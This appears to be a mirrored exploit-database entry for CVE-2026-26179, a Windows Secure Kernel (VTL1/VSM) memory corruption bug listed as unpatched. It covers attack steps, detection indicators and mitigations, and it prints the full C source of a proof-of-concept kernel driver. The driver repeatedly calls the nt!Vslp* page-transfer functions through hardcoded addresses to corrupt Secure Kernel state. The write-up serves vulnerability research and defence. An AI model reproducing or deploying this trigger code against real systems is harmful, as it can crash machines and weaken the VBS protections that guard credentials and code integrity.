High CVE-2026-26179 / ZDI-26-276 unpatched

Windows Secure Kernel (VTL1/VSM) Memory Corruption PoC (CVE-2026-26179 / ZDI-26-276)

by Niko (nikosecurity) · 2026-07-05

Severity: High
CVE: CVE-2026-26179 / ZDI-26-276
Category: binary
Affected product: Windows Secure Kernel / Virtual Secure Mode (VSM), Virtual Trust Level 1 (VTL1) transfer functions (nt!VslpLockPagesForTransfer, VslpEnterIumSecureMode, nt!VslpUnlockPagesForTransfer)
Affected versions: Not specified in source (author-discovered "own" Secure Kernel bug; version-specific hardcoded kernel addresses in the PoC)
Disclosed: 2026-07-05
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	Niko (nikosecurity)
CVE / Advisory	CVE-2026-26179 / ZDI-26-276
Category	binary
Severity	High
CVSS Score	Not specified in source
Status	PoC
Tags	secure-kernel, vsm, vtl1, windows-kernel, hyper-v, mdl, memory-corruption, driver
Related	N/A

Affected Target

Field	Value
Software / System	Windows Secure Kernel / Virtual Secure Mode (VSM), Virtual Trust Level 1 (VTL1) transfer functions (`nt!VslpLockPagesForTransfer`, `VslpEnterIumSecureMode`, `nt!VslpUnlockPagesForTransfer`)
Versions Affected	Not specified in source (author-discovered “own” Secure Kernel bug; version-specific hardcoded kernel addresses in the PoC)
Language / Platform	C (Windows Kernel-Mode Driver, WDM/KMDF-style), built via Visual Studio
Authentication Required	Local-only (requires ability to load a kernel driver, i.e. local admin/kernel code execution)
Network Access Required	No

Summary

CVE-2026-26179 is a vulnerability discovered by the author within the Windows Secure Kernel — the isolated, more privileged execution environment (VTL1) that underlies Virtualization Based Security (VBS) features such as Credential Guard and HVCI. The author states this is among the first publicly released Secure Kernel bugs. The PoC is a minimal kernel-mode driver (originally scaffolded as a general VTL1 fuzzer, “VTL1-Fuzz-Test”, later repurposed once this specific bug was found) that repeatedly calls into the Vslp* transfer functions responsible for locking/unlocking memory pages for VTL0-VTL1 IUM secure-mode transfers. By driving VslpLockPagesForTransfer / VslpEnterIumSecureMode / VslpUnlockPagesForTransfer with crafted transfer-info structures across repeated MDL allocations, the driver triggers the underlying flaw. The author explicitly describes the released code as a “very rushed” repository that has not been cleaned up, and no accompanying technical write-up has been published yet.

Vulnerability Details

Root Cause

The PoC drives Secure Kernel VTL1 transfer-page bookkeeping functions (VslpLockPagesForTransfer, VslpEnterIumSecureMode, VslpUnlockPagesForTransfer) with attacker-influenced MDL/transfer-info data across repeated calls; the exact defect is not documented by the author beyond the working trigger, but the pattern (repeated lock/unlock of transfer pages tied to hardcoded kernel offsets) is consistent with a use-after-free or double-unlock class issue in VTL1’s page transfer bookkeeping.

Attack Vector

Attacker with local administrative/kernel-mode code execution loads the PoC driver (Driver.c, compiled via the included Visual Studio project) — resolving the hardcoded nt!Vslp* addresses for the target build first (via WinDbg ? commands as documented in the source comments).
DriverEntry loops MDL_COUNT (100) times, each iteration locking a transfer buffer against nt!VslpTraceLog via VslpLockPagesForTransfer, then invoking VslpEnterIumSecureMode with a crafted 256-byte parameter block referencing the resulting MDL/PFN.
The driver then walks the returned transfer-info array, conditionally calling VslpUnlockPagesForTransfer based on flag bytes in the structure.
Repeating this sequence triggers the underlying Secure Kernel defect, potentially corrupting VTL1 (Secure Kernel) memory state — a privilege boundary normally protected even from a compromised VTL0 kernel.

Impact

Potential compromise of the integrity of the Windows Secure Kernel / Virtual Secure Mode, which could undermine VBS-backed security guarantees (e.g. Credential Guard, HVCI) if exploited beyond a crash-level PoC; as released, the PoC demonstrates the trigger path rather than a full weaponized exploit chain.

Environment / Lab Setup

Target:   Windows system with Virtualization Based Security (VSM/VTL1) enabled, matching kernel build for the hardcoded nt!Vslp* offsets
Attacker: Visual Studio (WDK) to build Driver.c / VTL1-Fuzz-Test.vcxproj, WinDbg to resolve symbol addresses, local admin/test-signing to load the driver

Proof of Concept

PoC Script

See Driver.c, VTL1-Fuzz-Test.sln, and VTL1-Fuzz-Test.vcxproj in this folder.

DriverEntry repeatedly locks/enters/unlocks VTL1 transfer pages using the resolved kernel function pointers, triggering the Secure Kernel condition the author found. The author notes this is a rushed proof of concept with hardcoded, build-specific addresses rather than a polished research release.

Detection & Indicators of Compromise

Signs of compromise:

Loading of an unrecognized test-signed kernel driver shortly before a system crash or VBS-related event
Kernel debugger/crash analysis pointing at VslpLockPagesForTransfer/VslpEnterIumSecureMode/VslpUnlockPagesForTransfer call stacks
Test-signing mode enabled on a production system (prerequisite for loading the unsigned PoC driver)

Remediation

Action	Detail
Primary fix	No vendor patch confirmed as of 2026-07-05 — monitor Microsoft Security Response Center / ZDI-26-276 advisory for an official fix
Interim mitigation	Restrict local administrative and kernel-driver-loading privileges; keep test-signing disabled on production systems; monitor for unexpected driver loads

References

Source repository

Notes

Mirrored from https://github.com/nikosecurity/CVE-2026-26179 on 2026-07-05. The author explicitly describes this as a “very rushed” repository/PoC that has not yet been cleaned up or accompanied by a technical write-up, so it should be treated as a rough working proof of concept rather than polished, production-grade research.

Driver.c

c raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#pragma warning (disable : 4152)

#include <ntifs.h>

#define MDL_COUNT 100

// You may have noticed that this is called VTL1-Fuzz-Test. Originally, I was going to fuzz every SSCN and find some vulnerabilities that way.
// However, I was fortunate enough to find this bug, so I repurposed it to trigger this bug in particular.

NTSTATUS DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNREFERENCED_PARAMETER(pDriverObject);

	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
	UNREFERENCED_PARAMETER(pRegistryPath);

	NTSTATUS Status = STATUS_INVALID_PARAMETER;

	// You will have to change the addresses of these variables and function pointers.
	// If you want to dump them all at once in order, you can use the following command:
	// ? nt!VslpTraceLog; ? nt!VslpLockPagesForTransfer; ? VslpEnterIumSecureMode; ? nt!VslpUnlockPagesForTransfer
	PVOID pVslpTraceLog = (PVOID)0xfffff807bddcd260;																// Address of nt!VslpTraceLog
	NTSTATUS(*pVslpLockPagesForTransfer)(PVOID, PVOID, ULONG, LOCK_OPERATION, UCHAR) = (PVOID)0xfffff807bd0d3e38;	// Address of nt!VslpLockPagesForTransfer
	NTSTATUS(*pVslpEnterIumSecureMode)(ULONG, ULONG, ULONG, PVOID) = (PVOID)0xfffff807bd082f50;						// Address of nt!VslpEnterIumSecureMode
	void(*pVslpUnlockPagesForTransfer)(PVOID) = (PVOID)0xfffff807bd0d45d0;											// Address of nt!VslpUnlockPagesForTransfer

	UCHAR pData[256] = { 0 };
	ULONG64 pTransferInfo[64] = { 0 };
	PUCHAR pTransferInfoCopy = 0;

	for (ULONG64 i = 0; i < MDL_COUNT; i++)
	{
		memset(pData, 0, sizeof(pData));
		memset(pTransferInfo, 0, sizeof(pTransferInfo));

		pVslpLockPagesForTransfer(pTransferInfo, pVslpTraceLog, 0xA08, IoModifyAccess, 0);

		pData[24] = 1;															// Used for securekernel!SkpgConnect to set SkpgNtSmtPresent to 1, unused for our purposes but kept because why not
		*(void**)((char*)(pData + 32)) = (void*)pTransferInfo[0];				// MDL
		*(unsigned long long*)((char*)(pData + 40)) = pTransferInfo[7];			// PFN
		*(unsigned long long*)((char*)(pData + 64)) = (unsigned long long)0x40;	// TransferSize
		*(unsigned long long*)((char*)(pData + 80)) = (unsigned long long)0x40;	// DataByteCount

		// Additionally, there is another MDL that you can provide (one for the hotpatch MDL), but because that is not required to trigger the bug I did not implement that.
		// But, the option is there for you to do so, if you so wish.

		pVslpEnterIumSecureMode(2, 55, 0, pData);

		pTransferInfoCopy = (PUCHAR)pTransferInfo;

		for (ULONG64 j = 0; j < 2; j++)
		{
			if (*(short*)((char*)(pTransferInfoCopy + 18)))
			{
				pVslpUnlockPagesForTransfer(pTransferInfoCopy);
			}

			pTransferInfoCopy += 72;
		}
	}

	ASSERT(pDriverObject);
	pDriverObject->DriverUnload = DriverUnload;

	return Status;
}